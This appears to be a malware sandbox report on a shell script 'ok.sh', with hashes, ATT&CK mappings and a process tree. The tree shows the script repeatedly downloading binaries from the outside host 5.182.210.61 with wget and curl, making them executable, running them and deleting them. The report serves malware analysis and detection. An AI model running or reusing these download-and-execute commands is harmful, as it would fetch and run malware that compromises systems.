ddb5ff03dc232e15045540e739348b41d53701b23a712137cefbc042c9840714

Analysis

max time kernel
58s
max time network
60s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
20/06/2026, 08:51

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General

Target
ok.sh
Size 1KB
Sample260620-ksb7psfs7x
SHA256 ddb5ff03dc232e15045540e739348b41d53701b23a712137cefbc042c9840714
MD5 94ec905c348821e2bf1604b2a66bfbdf
SHA1 2a9e862eb0350e24a0886c3c492f19794ea8ac27
SHA512 b5375034a80e6ed2dd3419e7d0a0a75410d3404b1f65e7f0c61fc982c6424194e6d62873bcaa4c035a37c4c484b2ef3c4028b5aa24ee92e8be676e650a04f836
TLSH
T12B3160EA11102D355342C9CEB7B3318D744CC5EB6C9BD3A4D8490EE9829C9CC72A5FA4
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
752	chmod
825	chmod
879	chmod
886	chmod
893	chmod
736	chmod
763	chmod
785	chmod
805	chmod
832	chmod
839	chmod
745	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/3d8453	737	ok.sh
/tmp/8f1b48	746	ok.sh
/tmp/9e0d2e	753	ok.sh
/tmp/1f93d1	764	ok.sh
/tmp/3a0dd5	786	ok.sh
/tmp/23d922	807	ok.sh
/tmp/ed800c	826	ok.sh
/tmp/29849a	833	ok.sh
/tmp/168767	840	ok.sh
/tmp/f14ad7	880	ok.sh
/tmp/4acf91	887	ok.sh
/tmp/d90292	894	ok.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/1f93d1	curl
File opened for modification	/tmp/3a0dd5	curl
File opened for modification	/tmp/23d922	curl
File opened for modification	/tmp/ed800c	curl
File opened for modification	/tmp/168767	curl
File opened for modification	/tmp/f14ad7	curl
File opened for modification	/tmp/8f1b48	curl
File opened for modification	/tmp/29849a	curl
File opened for modification	/tmp/4acf91	curl
File opened for modification	/tmp/d90292	curl
File opened for modification	/tmp/3d8453	curl
File opened for modification	/tmp/9e0d2e	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:709
- /usr/bin/wget
  wget http://5.182.210.61/3d8453
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://5.182.210.61/3d8453
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 3d8453
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/3d8453
  ./3d8453 bc
  2⤵
  PID:737
- /bin/rm
  rm -rf 3d8453
  2⤵
  PID:739
- /bin/rm
  rm -rf 3d8453.1
  2⤵
  PID:740
- /usr/bin/wget
  wget http://5.182.210.61/8f1b48
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://5.182.210.61/8f1b48
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 8f1b48
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/8f1b48
  ./8f1b48 bc
  2⤵
  PID:746
- /bin/rm
  rm -rf 8f1b48
  2⤵
  PID:748
- /bin/rm
  rm -rf 8f1b48.1
  2⤵
  PID:749
- /usr/bin/wget
  wget http://5.182.210.61/9e0d2e
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://5.182.210.61/9e0d2e
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 9e0d2e
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/9e0d2e
  ./9e0d2e bc
  2⤵
  PID:753
- /bin/rm
  rm -rf 9e0d2e
  2⤵
  PID:755
- /bin/rm
  rm -rf 9e0d2e.1
  2⤵
  PID:756
- /usr/bin/wget
  wget http://5.182.210.61/1f93d1
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://5.182.210.61/1f93d1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 1f93d1
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/1f93d1
  ./1f93d1 bc
  2⤵
  PID:764
- /bin/rm
  rm -rf 1f93d1
  2⤵
  PID:768
- /bin/rm
  rm -rf 1f93d1.1
  2⤵
  PID:769
- /usr/bin/wget
  wget http://5.182.210.61/3a0dd5
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://5.182.210.61/3a0dd5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/chmod
  chmod 777 3a0dd5
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/3a0dd5
  ./3a0dd5 bc
  2⤵
  PID:786
- /bin/rm
  rm -rf 3a0dd5
  2⤵
  PID:789
- /bin/rm
  rm -rf 3a0dd5.1
  2⤵
  PID:790
- /usr/bin/wget
  wget http://5.182.210.61/23d922
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://5.182.210.61/23d922
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/chmod
  chmod 777 23d922
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/23d922
  ./23d922 bc
  2⤵
  PID:807
- /bin/rm
  rm -rf 23d922
  2⤵
  PID:810
- /bin/rm
  rm -rf 23d922.1
  2⤵
  PID:812
- /usr/bin/wget
  wget http://5.182.210.61/ed800c
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://5.182.210.61/ed800c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/chmod
  chmod 777 ed800c
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/ed800c
  ./ed800c bc
  2⤵
  PID:826
- /bin/rm
  rm -rf ed800c
  2⤵
  PID:828
- /bin/rm
  rm -rf ed800c.1
  2⤵
  PID:829
- /usr/bin/wget
  wget http://5.182.210.61/29849a
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://5.182.210.61/29849a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/chmod
  chmod 777 29849a
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/29849a
  ./29849a bc
  2⤵
  PID:833
- /bin/rm
  rm -rf 29849a
  2⤵
  PID:835
- /bin/rm
  rm -rf 29849a.1
  2⤵
  PID:836
- /usr/bin/wget
  wget http://5.182.210.61/168767
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://5.182.210.61/168767
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod 777 168767
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/168767
  ./168767 bc
  2⤵
  PID:840
- /bin/rm
  rm -rf 168767
  2⤵
  PID:842
- /bin/rm
  rm -rf 168767.1
  2⤵
  PID:844
- /usr/bin/wget
  wget http://5.182.210.61/f14ad7
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://5.182.210.61/f14ad7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod 777 f14ad7
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/f14ad7
  ./f14ad7 bc
  2⤵
  PID:880
- /bin/rm
  rm -rf f14ad7
  2⤵
  PID:882
- /bin/rm
  rm -rf f14ad7.1
  2⤵
  PID:883
- /usr/bin/wget
  wget http://5.182.210.61/4acf91
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://5.182.210.61/4acf91
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/chmod
  chmod 777 4acf91
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/4acf91
  ./4acf91 bc
  2⤵
  PID:887
- /bin/rm
  rm -rf 4acf91
  2⤵
  PID:889
- /bin/rm
  rm -rf 4acf91.1
  2⤵
  PID:890
- /usr/bin/wget
  wget http://5.182.210.61/d90292
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://5.182.210.61/d90292
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/chmod
  chmod 777 d90292
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/d90292
  ./d90292 bc
  2⤵
  PID:894
- /bin/rm
  rm -rf d90292
  2⤵
  PID:896
- /bin/rm
  rm -rf d90292.1
  2⤵
  PID:897

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

3d8453

Path /tmp/3d8453
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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